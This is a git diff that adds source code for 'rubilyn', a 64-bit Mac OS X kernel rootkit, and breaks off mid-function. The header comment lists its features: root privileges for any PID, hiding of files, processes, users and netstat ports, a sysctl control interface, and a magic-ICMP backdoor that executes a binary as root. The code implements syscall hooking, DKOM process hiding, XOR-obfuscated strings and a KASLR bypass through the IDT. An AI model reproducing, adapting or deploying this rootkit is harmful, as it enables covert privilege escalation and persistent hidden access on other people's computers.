+KUNCExecutep my_KUNCExecute; +proc_list_lockp my_proc_list_lock; +proc_list_unlockp my_proc_list_unlock; + +/* kext internal globals */ +char* linkeditstr; +char* sysctl; +char* rubilyn; +char* kextstat; +char* netstat; +char* w; +char* who; +char* grep; +char* icmpstr; + +/* DKOM structures */ +struct proclist { + struct proc* lh_first; +}; +struct proclist* my_allproc; + +/* pointers to orig syscall */ +int (*org_getdirentriesattr) (struct proc *p, void *uap, register_t *retval); +int (*org_getdirentries64) (struct proc *p,void *uap, user_ssize_t *retval); +int (*org_write_nocancel) (struct proc* p,void *uap, user_ssize_t *retval); + +/* getdirent & friends structures */ +struct getdirentries64_args { + char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; + char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; + char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; + char position_l_[PADL_(user_addr_t)]; user_addr_t position; char position_r_[PADR_(user_addr_t)]; +}; + +struct getdirentriesattr_args { + char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; + char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; + char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)]; + char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; char buffersize_r_[PADR_(user_size_t)]; + char count_l_[PADL_(user_addr_t)]; user_addr_t count; char count_r_[PADR_(user_addr_t)]; + char basep_l_[PADL_(user_addr_t)]; user_addr_t basep; char basep_r_[PADR_(user_addr_t)]; + char newstate_l_[PADL_(user_addr_t)]; user_addr_t newstate; char newstate_r_[PADR_(user_addr_t)]; + char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; +}; + +/* write_nocancel struct */ +struct write_nocancel_args { + char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; + char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)]; + char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; +}; + +/* prototypes */ +static struct sysent* find_sysent(); +static int getroot(int pid); +register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval); +register_t new_getdirentriesattr(struct proc *p, struct getdirentriesattr_args *uap, register_t *retval); +static void ipf_detach(void* cookie); +static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol); +static errno_t ipf_output(void* cookie, mbuf_t *data, ipf_pktopts_t options); +static int hideproc(int pid); +static int unhideproc(int pid); +uint64_t find_symbol(char* symbolname); +char* string_hide(char* string,int len,char* key); +int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t * retval); +char *my_strstr(char *s, char *find); +kern_return_t rubilyn_start(kmod_info_t * ki, void *d); +kern_return_t rubilyn_stop(kmod_info_t *ki, void *d); +int string_handler(); +uint64_t smashASLR(); + + +/* string table index */ +struct nlist_64 { + union { + uint32_t n_strx; /* index into the string table */ + } n_un; + uint8_t n_type; /* type flag, see below */ + uint8_t n_sect; /* section number or NO_SECT */ + uint16_t n_desc; /* see */ + uint64_t n_value; /* value of this symbol (or stab offset) */ +}; + +/* syscall hooking defs */ +typedef int32_t sy_call_t (struct proc *, void *, int *); +typedef int32_t (*sys_call_t)();typedef void sy_munge_t (const void *, void *); + +/* system call table definition */ +struct sysent { + int16_t sy_narg; /* number of args */ + int8_t sy_resv; /* reserved */ + int8_t sy_flags; /* flags */ + sy_call_t *sy_call; /* implementing function */ + sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */ + sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */ + int32_t sy_return_type; /* system call return types */ + uint16_t sy_arg_bytes; /* Total size of arguments in bytes */ +}; + +/* xnu-xxx/osfmk/UserNotification/KUNCUserNotifications.h */ +#define kOpenApplicationPath 0 +#define kOpenPreferencePanel 1 +#define kOpenApplication 2 +#define kOpenAppAsRoot 0 +#define kOpenAppAsConsoleUser 1 + +/* osfmk/i386/locks.h */ +struct lck_spin_t { + unsigned long opaque[10]; +}; + +struct lck_mtx_t { + union { + struct { + volatile uintptr_t lck_mtxd_owner; + union { + struct { + volatile uint32_t + lck_mtxd_waiters:16, + lck_mtxd_pri:8, + lck_mtxd_ilocked:1, + lck_mtxd_mlocked:1, + lck_mtxd_promoted:1, + lck_mtxd_spin:1, + lck_mtxd_is_ext:1, + lck_mtxd_pad3:3; + }; + uint32_t lck_mtxd_state; + }; + uint32_t lck_mtxd_pad32; + } lck_mtxd; + struct { + struct _lck_mtx_ext_ *lck_mtxi_ptr; + uint32_t lck_mtxi_tag; + uint32_t lck_mtxi_pad32; + } lck_mtxi; + } lck_mtx_sw; +}; + +/* xnu/bsd/sys/proc_internal.h */ + +/* + * Description of a process. + * + * This structure contains the information needed to manage a thread of + * control, known in UN*X as a process; it has references to substructures + * containing descriptions of things that the process uses, but may share + * with related processes. The process structure and the substructures + * are always addressible except for those marked "(PROC ONLY)" below, + * which might be addressible only on a processor on which the process + * is running. + */ + +/* aren't we pretty for a real life suicide. */ + +/*$2 = {p_list = {le_next = 0xffffff80073b4300, le_prev = 0xffffff80073b4b80}, + p_pid = 163, task = 0xffffff80081038b8, p_pptr = 0xffffff8006d1acc0, + p_ppid = 154, p_pgrpid = 163, p_uid = 501, p_gid = 20, p_ruid = 501, + p_rgid = 20, p_svuid = 501, p_svgid = 20, p_uniqueid = 163, p_mlock = { + opaque = {0, 18446744069414584320}}, p_stat = 2 '\002', + p_shutdownstate = 0 '\0', p_kdebug = 0 '\0', p_btrace = 0 '\0', p_pglist = { + le_next = 0x0, le_prev = 0xffffff80066ac0f0}, p_sibling = { + le_next = 0xffffff80073b4300, le_prev = 0xffffff80073b4bf8}, p_children = { + lh_first = 0xffffff80090e3a80}, p_uthlist = { + tqh_first = 0xffffff8007ef1420, tqh_last = 0xffffff80090eba10}, p_hash = { + le_next = 0x0, le_prev = 0xffffff8006344120}, p_evlist = {tqh_first = 0x0, + tqh_last = 0xffffff80073b25f0}, p_fdmlock = {opaque = {0, + 18446744069414584320}}, p_ucred = 0xffffff80063e9170, + p_fd = 0xffffff8006647d10, p_stats = 0xffffff80073f9970, + p_limit = 0xffffff80008d9400, p_sigacts = 0xffffff80073fc490, p_siglist = 0, + p_slock = {opaque = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, p_olimit = 0x0, + p_flag = 16516, p_lflag = 8388608, p_listflag = 196608, p_ladvflag = 0, + p_refcount = 0, p_childrencnt = 4, p_parentref = 0, p_oppid = 0, + p_xstat = 0, p_realtimer = {it_interval = {tv_sec = 0, tv_usec = 0}, + it_value = {tv_sec = 0, tv_usec = 0}}, p_rtime = {tv_sec = 0, + tv_usec = 0}, p_vtimer_user = {it_interval = {tv_sec = 0, tv_usec = 0}, + it_value = {tv_sec = 0, tv_usec = 0}}, p_vtimer_prof = {it_interval = { + tv_sec = 0, tv_usec = 0}, it_value = {tv_sec = 0, tv_usec = 0}}, + p_rlim_cpu = {tv_sec = 0, tv_usec = 0}, p_debugger = 0, sigwait = 0, + sigwait_thread = 0x0, exit_thread = 0x0, p_vforkcnt = 0, p_vforkact = 0x0, + p_fpdrainwait = 0, p_contproc = 163, si_pid = 0, si_status = 0, si_code = 0, + si_uid = 0, vm_shm = 0x0, p_dtrace_argv = 140734881307856, + p_dtrace_envp = 140734881307880, p_dtrace_sprlock = {opaque = {0, + 18446744069414584320}}, p_dtrace_probes = 0, p_dtrace_count = 0, + p_dtrace_stop = 0 '\0', p_dtrace_ptss_pages = 0x0, + p_dtrace_ptss_free_list = 0x0, p_dtrace_helpers = 0x0, + p_dtrace_lazy_dofs = 0xffffff8008ad9800, p_argslen = 656, p_argc = 2, + user_stack = 140734881308672, p_textvp = 0xffffff8008feb458, + p_textoff = 4096, p_sigmask = 0, p_sigignore = 406880256, + p_sigcatch = 524288, p_priority = 24 '\030', p_resv0 = 0 '\0', + p_nice = 0 '\0', p_resv1 = 0 '\0', p_mac_enforce = 128, + p_comm = "Terminal\000sk\000\000\000\000\000", + p_name = '\0' , p_pgrp = 0xffffff80066ac0e0, + p_csflags = 1, p_pcaction = 2, p_uuid = "4?\"2?R2Ę??U??py", + p_aio_total_count = 0, p_aio_active_count = 0, p_aio_activeq = { + tqh_first = 0x0, tqh_last = 0xffffff80073b2868}, p_aio_doneq = { + tqh_first = 0x0, tqh_last = 0xffffff80073b2878}, p_klist = { + slh_first = 0xffffff800822b008}, p_ru = 0x0, p_sigwaitcnt = 0, + p_signalholder = 0x0, p_transholder = 0x0, p_acflag = 0, p_lctx = 0x0, + p_lclist = {le_next = 0x0, le_prev = 0x0}, p_threadstart = 140735640230760, + p_wqthread = 140735640230776, p_pthsize = 8192, + p_targconc = 140735213105216, p_wqptr = 0xffffff8035fe7000, p_wqsize = 8632, + p_wqiniting = 0, p_wqlock = {opaque = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}}, + p_start = {tv_sec = 1343305033, tv_usec = 282745}, + p_rcall = 0xffffff800759c770, p_ractive = 0, p_idversion = 163, + p_pthhash = 0xffffff8006d84408, p_dispatchqueue_offset = 160} +*/ +struct proc { + LIST_ENTRY(proc) p_list; /* List of all processes. */ + pid_t p_pid; /* Process identifier. (static)*/ + void * task; /* corresponding task (static)*/ + struct proc * p_pptr; /* Pointer to parent process.(LL) */ + pid_t p_ppid; /* process's parent pid number */ + pid_t p_pgrpid; /* process group id of the process (LL)*/ + uid_t p_uid; + gid_t p_gid; + uid_t p_ruid; + gid_t p_rgid; + uid_t p_svuid; + gid_t p_svgid; + uint64_t p_uniqueid; /* process uniqe ID */ + struct lck_mtx_t p_mlock; /* mutex lock for proc */ + char p_stat; /* S* process status. (PL)*/ + char p_shutdownstate; + char p_kdebug; /* P_KDEBUG eq (CC)*/ + char p_btrace; /* P_BTRACE eq (CC)*/ + LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp.(PGL) */ + LIST_ENTRY(proc) p_sibling; /* List of sibling processes. (LL)*/ + LIST_HEAD(, proc) p_children; /* Pointer to list of children. (LL)*/ + TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads (PL) */ + + LIST_ENTRY(proc) p_hash; /* Hash chain. (LL)*/ + TAILQ_HEAD( ,eventqelt) p_evlist; /* (PL) */ + + struct lck_mtx_t p_fdmlock; /* proc lock to protect fdesc */ + + /* substructures: */ + kauth_cred_t p_ucred; /* Process owner's identity. (PL) */ // SEEM OK TO HERE + struct filedesc *p_fd; /* Ptr to open files structure. (PFDL) */ + struct pstats *p_stats; /* Accounting/statistics (PL). */ + struct plimit *p_limit; /* Process limits.(PL) */ + + struct sigacts *p_sigacts; /* Signal actions, state (PL) */ + int p_siglist; /* signals captured back from threads */ + struct lck_spin_t p_slock; /* spin lock for itimer/profil protection */ + +#define p_rlimit p_limit->pl_rlimit + + struct plimit *p_olimit; /* old process limits - not inherited by child (PL) */ + unsigned int p_flag; /* P_* flags. (atomic bit ops) */ + unsigned int p_lflag; /* local flags (PL) */ + unsigned int p_listflag; /* list flags (LL) */ + unsigned int p_ladvflag; /* local adv flags (atomic) */ + int p_refcount; /* number of outstanding users(LL) */ + int p_childrencnt; /* children holding ref on parent (LL) */ + int p_parentref; /* children lookup ref on parent (LL) */ + + pid_t p_oppid; /* Save parent pid during ptrace. XXX */ + u_int p_xstat; /* Exit status for wait; also stop signal. */ + +//#ifdef _PROC_HAS_SCHEDINFO_ +// /* may need cleanup, not used */ +// u_int p_estcpu; /* Time averaged value of p_cpticks.(used by aio and proc_comapre) */ +// fixpt_t p_pctcpu; /* %cpu for this process during p_swtime (used by aio)*/ +// u_int p_slptime; /* used by proc_compare */ +//#endif /* _PROC_HAS_SCHEDINFO_ */ + + struct itimerval p_realtimer; /* Alarm timer. (PSL) */ + struct timeval p_rtime; /* Real time.(PSL) */ + struct itimerval p_vtimer_user; /* Virtual timers.(PSL) */ + struct itimerval p_vtimer_prof; /* (PSL) */ + + struct timeval p_rlim_cpu; /* Remaining rlim cpu value.(PSL) */ + int p_debugger; /* NU 1: can exec set-bit programs if suser */ + boolean_t sigwait; /* indication to suspend (PL) */ + void *sigwait_thread; /* 'thread' holding sigwait(PL) */ + void *exit_thread; /* Which thread is exiting(PL) */ + int p_vforkcnt; /* number of outstanding vforks(PL) */ + void * p_vforkact; /* activation running this vfork proc)(static) */ + int p_fpdrainwait; /* (PFDL) */ + pid_t p_contproc; /* last PID to send us a SIGCONT (PL) */ + + /* Following fields are info from SIGCHLD (PL) */ + pid_t si_pid; /* (PL) */ + u_int si_status; /* (PL) */ + u_int si_code; /* (PL) */ + uid_t si_uid; /* (PL) */ + + void * vm_shm; /* (SYSV SHM Lock) for sysV shared memory */ + +//#if CONFIG_DTRACE + user_addr_t p_dtrace_argv; /* (write once, read only after that) */ + user_addr_t p_dtrace_envp; /* (write once, read only after that) */ + struct lck_mtx_t p_dtrace_sprlock; /* sun proc lock emulation */ + int p_dtrace_probes; /* (PL) are there probes for this proc? */ + u_int p_dtrace_count; /* (sprlock) number of DTrace tracepoints */ + uint8_t p_dtrace_stop; /* indicates a DTrace-desired stop */ + struct dtrace_ptss_page* p_dtrace_ptss_pages; /* (sprlock) list of user ptss pages */ + struct dtrace_ptss_page_entry* p_dtrace_ptss_free_list; /* (atomic) list of individual ptss entries */ + struct dtrace_helpers* p_dtrace_helpers; /* (dtrace_lock) DTrace per-proc private */ + struct dof_ioctl_data* p_dtrace_lazy_dofs; /* (sprlock) unloaded dof_helper_t's */ +//#endif /* CONFIG_DTRACE */ + + /* XXXXXXXXXXXXX BCOPY'ed on fork XXXXXXXXXXXXXXXX */ + /* The following fields are all copied upon creation in fork. */ +#define p_startcopy p_argslen + + u_int p_argslen; /* Length of process arguments. */ + int p_argc; /* saved argc for sysctl_procargs() */ + user_addr_t user_stack; /* where user stack was allocated */ + struct vnode *p_textvp; /* Vnode of executable. */ + off_t p_textoff; /* offset in executable vnode */ + + sigset_t p_sigmask; /* DEPRECATED */ + sigset_t p_sigignore; /* Signals being ignored. (PL) */ + sigset_t p_sigcatch; /* Signals being caught by user.(PL) */ + + u_char p_priority; /* (NU) Process priority. */ + u_char p_resv0; /* (NU) User-priority based on p_cpu and p_nice. */ + char p_nice; /* Process "nice" value.(PL) */ + u_char p_resv1; /* (NU) User-priority based on p_cpu and p_nice. */ + +//#if CONFIG_MACF + int p_mac_enforce; /* MAC policy enforcement control */ +//#endif + + char p_comm[MAXCOMLEN+1]; + char p_name[(2*MAXCOMLEN)+1]; /* PL */ + + struct pgrp *p_pgrp; /* Pointer to process group. (LL) */ +#if CONFIG_EMBEDDED + int p_iopol_disk; /* disk I/O policy (PL) */ +#endif /* CONFIG_EMBEDDED */ + uint32_t p_csflags; /* flags for codesign (PL) */ + uint32_t p_pcaction; /* action for process control on starvation */ + uint8_t p_uuid[16]; /* from LC_UUID load command */ + + /* End area that is copied on creation. */ + /* XXXXXXXXXXXXX End of BCOPY'ed on fork (AIOLOCK)XXXXXXXXXXXXXXXX */ +#define p_endcopy p_aio_total_count + int p_aio_total_count; /* all allocated AIO requests for this proc */ + int p_aio_active_count; /* all unfinished AIO requests for this proc */ + TAILQ_HEAD( , aio_workq_entry ) p_aio_activeq; /* active async IO requests */ + TAILQ_HEAD( , aio_workq_entry ) p_aio_doneq; /* completed async IO requests */ + + //struct klist p_klist; /* knote list (PL ?)*/ + + struct rusage *p_ru; /* Exit information. (PL) */ + int p_sigwaitcnt; + thread_t p_signalholder; + thread_t p_transholder; + + /* DEPRECATE following field */ + u_short p_acflag; /* Accounting flags. */ + + struct lctx *p_lctx; /* Pointer to login context. */ + LIST_ENTRY(proc) p_lclist; /* List of processes in lctx. */ + user_addr_t p_threadstart; /* pthread start fn */ + user_addr_t p_wqthread; /* pthread workqueue fn */ + int p_pthsize; /* pthread size */ + user_addr_t p_targconc; /* target concurrency ptr */ + void * p_wqptr; /* workq ptr */ + int p_wqsize; /* allocated size */ + boolean_t p_wqiniting; /* semaphore to serialze wq_open */ + struct lck_spin_t* p_wqlock; /* lock to protect work queue */ + struct timeval p_start; /* starting time */ + void * p_rcall; + int p_ractive; + int p_idversion; /* version of process identity */ + void * p_pthhash; /* pthread waitqueue hash */ +#if DIAGNOSTIC + unsigned int p_fdlock_pc[4]; + unsigned int p_fdunlock_pc[4]; +#if SIGNAL_DEBUG + unsigned int lockpc[8]; + unsigned int unlockpc[8]; +#endif /* SIGNAL_DEBUG */ +#endif /* DIAGNOSTIC */ + uint64_t p_dispatchqueue_offset; +}; + +#endif diff --git a/backdoor/rubilyn/source/rubilyn-Info.plist b/backdoor/rubilyn/source/rubilyn-Info.plist new file mode 100755 index 0000000..d0b5eb8 --- /dev/null +++ b/backdoor/rubilyn/source/rubilyn-Info.plist @@ -0,0 +1,35 @@ + + + + + CFBundleDevelopmentRegion + English + CFBundleExecutable + ${EXECUTABLE_NAME} + CFBundleIconFile + + CFBundleIdentifier + com.hackerfantastic.${PRODUCT_NAME:rfc1034identifier} + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + ${PRODUCT_NAME} + CFBundlePackageType + KEXT + CFBundleShortVersionString + 1.0 + CFBundleSignature + ???? + CFBundleVersion + 1 + NSHumanReadableCopyright + Copyright © 2012 Hacker Fantastic. All rights are lust. + OSBundleLibraries + + com.apple.kpi.bsd + 10.0.0 + com.apple.kpi.libkern + 10.0.0 + + + diff --git a/backdoor/rubilyn/source/rubilyn.c b/backdoor/rubilyn/source/rubilyn.c new file mode 100755 index 0000000..925187d --- /dev/null +++ b/backdoor/rubilyn/source/rubilyn.c @@ -0,0 +1,663 @@ +/* + .o8 o8o oooo + "888 `"' `888 + oooo d8b oooo oooo 888oooo. oooo 888 oooo ooo ooo. .oo. + `888""8P `888 `888 d88' `88b `888 888 `88. .8' `888P"Y88b + 888 888 888 888 888 888 888 `88..8' 888 888 + 888 888 888 888 888 888 888 `888' 888 888 + d888b `V88V"V8P' `Y8bod8P' o888o o888o .8' o888o o888o + .o..P' HARDCORE EST. 1983 + `Y8P' + + 64bit Mac OS-X kernel rootkit that uses no hardcoded address + to hook the BSD subsystem in all OS-X Lion & below. It uses a + combination of syscall hooking and DKOM to hide activity on a + host. String resolution of symbols no longer works on Mountain + Lion as symtab is destroyed during load, this code is portable + on all Lion & below but requires re-working for hooking under + Mountain Lion. + + Features: + * works across multiple kernel versions (tested 11.0.0+) + * give root privileges to pid + * hide files / folders + * hide a process + * hide a user from 'who'/'w' + * hide a network port from netstat + * sysctl interface for userland control + * execute a binary with root privileges via magic ICMP ping + + greetingz to #nullsecurity crew, snare, dino, nemo, thegrugq, + piotr & friendz! + + -- prdelka + +*/ +#include "internals.h" + +uint64_t KERNEL_BASE; + +/* ICMP backdoor configuration */ +#define MAGIC_ICMP_TYPE 0 +#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/ +#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e" +#define MAGIC_ICMP_STR_LEN 9 +#define IP_BUF_SIZE 24 + +/* maximums for buffer sizes */ +#define MAX_HIDDEN_PROCESS 256 +#define MAXBUFFER 2048 +#define MAXHIDELEN 256 +#define MAXCMDPATHLEN MAXPATHLEN + +/* string XOR key */ +char* key = "I never seem to have anything that if I lost it I’d care too much about."; + +/* dynamic resolution of kernel symbols - props to snare for the technique */ +uint64_t find_symbol(char* symbolname) +{ + uint64_t p; + int nsyms; + uint64_t linkedit; + uint64_t stringtable = 0; + uint64_t string; + struct mach_header_64* mach_kernel; + struct load_command* load_cmd; + struct segment_command_64* segment_cmd; + struct symtab_command* symtab; + struct nlist_64* symbol; + uint64_t retvalue = 0; + + mach_kernel = (struct mach_header_64*) KERNEL_BASE; + p = KERNEL_BASE+sizeof(struct mach_header_64); + for(int i = 0;i < mach_kernel->ncmds;i++){ + load_cmd = (struct load_command*)p; + if(load_cmd->cmd == LC_SEGMENT_64){ + segment_cmd = (struct segment_command_64*)p; + if(strncmp(segment_cmd->segname,linkeditstr,strlen(segment_cmd->segname))==0){ + linkedit = segment_cmd->vmaddr; + stringtable += linkedit; + } + } + if(load_cmd->cmd == LC_SYMTAB){ + symtab = (struct symtab_command*)p; + stringtable += (symtab->stroff - symtab->symoff); + nsyms = symtab->nsyms; + } + p+=load_cmd->cmdsize; + } + if(linkedit){ + for(int i = 0;i < nsyms;i++){ + p = linkedit + (sizeof(struct nlist_64) * i); + symbol = (struct nlist_64*)p; + string = stringtable + symbol->n_un.n_strx; + if(strncmp((char*)string,symbolname,strlen((char*)string))==0){ + retvalue = symbol->n_value; + } + } + } + return retvalue; +} + +/* locate the kernel base address from IDT */ +uint64_t smashASLR() +{ + uint8_t idtr[10]; + uint64_t idt = 0; + __asm__ volatile ("sidt %0": "=m" (idtr)); + idt = *((uint64_t *) &idtr[2]); + struct descriptor_idt *int80_descriptor = NULL; + uint64_t int80_address = 0; + uint64_t high = 0; + uint32_t middle = 0; + int80_descriptor = _MALLOC(sizeof(struct descriptor_idt),M_TEMP,M_WAITOK); + bcopy((void*)idt,int80_descriptor,sizeof(struct descriptor_idt)); + high = (unsigned long)int80_descriptor->offset_high << 32; + middle = (unsigned int)int80_descriptor->offset_middle << 16; + int80_address = (uint64_t)(high + middle + int80_descriptor->offset_low); + uint64_t temp_address = int80_address; + uint8_t *temp_buffer = _MALLOC(4,M_TEMP,M_WAITOK); + while (temp_address > 0) + { + bcopy((void*)temp_address,temp_buffer,4); + if (*(uint32_t*)(temp_buffer) == MH_MAGIC_64) + { + KERNEL_BASE = temp_address; + return 0; + } + temp_address -= 1; + } + /* if this does not succeed we experience PANIC pain. */ + return -1; +} + +static struct sysent* find_sysent() +{ + struct sysent* table; + table = (struct sysent *)(((uint64_t)nsysent) - + ((uint64_t)sizeof(struct sysent) * (uint64_t)*nsysent)); + if (table[SYS_syscall].sy_narg == 0 && + table[SYS_exit].sy_narg == 1 && + table[SYS_fork].sy_narg == 0 && + table[SYS_read].sy_narg == 3 && + table[SYS_wait4].sy_narg == 4 && + table[SYS_ptrace].sy_narg == 4) + { + return table; + } + else + return NULL; +} + +static int getroot(int pid) +{ + struct proc *rootpid; + kauth_cred_t creds; + rootpid = proc_find(pid); + if(!rootpid) + return 0; + lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock); + creds = rootpid->p_ucred; + creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); + rootpid->p_ucred = creds; + lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock); + return 0; +} + +/* sysctl mib variables */ +static int k_pid = 0; +static int k_pid2 = 0; +static int k_pid3 = 0; +static u_int8_t k_dir[MAXHIDELEN] = { 0x01,0x00 }; +static u_int8_t k_cmd[MAXCMDPATHLEN] = { 0x01,0x00 }; +static u_int8_t k_user[MAXBUFFER] = { 0x01,0x00 }; +static u_int8_t k_port[MAXBUFFER] = { 0x01,0x00 }; + +/* construct a node (debug.rubilyn) from which other sysctl objects can hang.*/ +SYSCTL_NODE(_debug,OID_AUTO,rubilyn,CTLFLAG_RW,0,""); + +/* prototypes for read/write handling functions for our sysctl nodes. */ +static int sysctl_rubilyn_pid SYSCTL_HANDLER_ARGS; +static int sysctl_rubilyn_pid2 SYSCTL_HANDLER_ARGS; +static int sysctl_rubilyn_pid3 SYSCTL_HANDLER_ARGS; +static int sysctl_rubilyn_dir SYSCTL_HANDLER_ARGS; +static int sysctl_rubilyn_cmd SYSCTL_HANDLER_ARGS; +static int sysctl_rubilyn_user SYSCTL_HANDLER_ARGS; +static int sysctl_rubilyn_port SYSCTL_HANDLER_ARGS; + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid, + (CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_pid,0,sysctl_rubilyn_pid,"IU",""); + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid2, + (CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_pid2,0,sysctl_rubilyn_pid2,"IU",""); + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,pid3, + (CTLTYPE_INT|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_pid3,0,sysctl_rubilyn_pid3,"IU",""); + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,dir, + (CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_dir,MAXHIDELEN,sysctl_rubilyn_dir,"A",""); + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,cmd, + (CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_cmd,MAXCMDPATHLEN,sysctl_rubilyn_cmd,"A",""); + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,user, + (CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_user,MAXBUFFER,sysctl_rubilyn_user,"A",""); + +SYSCTL_PROC(_debug_rubilyn,OID_AUTO,port, + (CTLTYPE_STRING|CTLFLAG_RW|CTLFLAG_ANYBODY), + &k_port,MAXBUFFER,sysctl_rubilyn_port,"A",""); + +static int sysctl_rubilyn_pid SYSCTL_HANDLER_ARGS +{ + int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req); + getroot(k_pid); + k_pid = 0; + return ret; +} + +static int sysctl_rubilyn_pid2 SYSCTL_HANDLER_ARGS +{ + int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req); + hideproc(k_pid2); + k_pid2 = 0; + return ret; +} + +static int sysctl_rubilyn_pid3 SYSCTL_HANDLER_ARGS +{ + int ret = sysctl_handle_int(oidp, oidp->oid_arg1, oidp->oid_arg2, req); + unhideproc(k_pid3); + k_pid3 = 0; + return ret; +} + +static int sysctl_rubilyn_dir SYSCTL_HANDLER_ARGS +{ + return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req); +} + +static int sysctl_rubilyn_cmd SYSCTL_HANDLER_ARGS +{ + return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req); +} + +static int sysctl_rubilyn_user SYSCTL_HANDLER_ARGS +{ + return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req); +} + +static int sysctl_rubilyn_port SYSCTL_HANDLER_ARGS +{ + return sysctl_handle_string(oidp, oidp->oid_arg1, oidp->oid_arg2, req); +} + +/* hooked getdirentries64 and friends */ +register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval) +{ + int ret; + u_int64_t bcount = 0; + u_int64_t btot = 0; + size_t buffersize = 0; + struct direntry *dirp; + void *mem = NULL; + int updated = 0; + ret = org_getdirentries64(p,uap,retval); + btot = buffersize = bcount = *retval; + if(bcount > 0) + { + MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK); + if(mem == NULL) + return(ret); + copyin(uap->buf, mem, bcount); + dirp = mem; + while(bcount > 0 && dirp->d_reclen > 0) + { + if(dirp->d_reclen > 7) + if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0) + { + char *next = (char *) dirp + dirp->d_reclen; + u_int64_t offset = (char *) next - (char *) mem ; + bcount -= dirp->d_reclen; + btot -= dirp->d_reclen; + bcopy(next,dirp,buffersize - offset); + updated = 1; + continue; + } + bcount -= dirp->d_reclen; + dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen); + } + if(updated == 1) + { + copyout(mem,uap->buf,btot); + *retval = btot; + } + FREE(mem,M_TEMP); + } + return ret; +} + +struct FInfoAttrBuf { + u_int32_t length; + attrreference_t name; + fsobj_type_t objType; + char finderInfo[32]; + u_int32_t dirStatus; +} __attribute__((aligned(4), packed)); +typedef struct FInfoAttrBuf FInfoAttrBuf; + +register_t new_getdirentriesattr(struct proc *p, struct getdirentriesattr_args *uap, register_t *retval) +{ + struct FInfoAttrBuf *dirp; + register_t ret; + int removed = 0; + u_int count = 0; + size_t buffersize = 0; + void *mem = NULL; + ret = org_getdirentriesattr(p,uap,retval); + copyin(uap->count,&count,sizeof(u_int)); + buffersize = uap->buffersize; + if(count > 0 && buffersize > 0) + { + MALLOC(mem,void *,buffersize,M_TEMP,M_WAITOK); + if(mem == NULL) + return(ret); + copyin(uap->buffer, mem, buffersize); + dirp = (struct FInfoAttrBuf *) mem; + while(count > 0) + { + char *name = ((char *) &dirp->name + dirp->name.attr_dataoffset); + if(dirp->name.attr_length > 7) + if(strncmp(name,(char*)&k_dir,strlen((char*)&k_dir)) == 0) + { + char *next = ((char *) dirp + dirp->length); + u_int64_t offset = (char *) next - (char *) mem; + bcopy(next,dirp,buffersize - offset); + removed++; + count--; + if(count == 0) + break; + continue; + } + dirp = (struct FInfoAttrBuf *) ((char *) dirp + dirp->length); + count--; + } + if(removed > 0) + { + copyin(uap->count,&count,sizeof(u_int)); + count -= removed; + copyout(&count,uap->count,sizeof(u_int)); + copyout(mem,uap->buffer, buffersize); + } + FREE(mem,M_TEMP); + } + return ret; +} + +static ipfilter_t ip_filter_ipv4_ref = NULL; + +static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol) +{ + char buf[IP_BUF_SIZE]; + struct icmp *icmp; + if (!(data && *data)) + return 0; + if (protocol != IPPROTO_ICMP) + return 0; + mbuf_copydata(*data, offset, IP_BUF_SIZE, buf); + icmp = (struct icmp *)&buf; + if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0) + { + 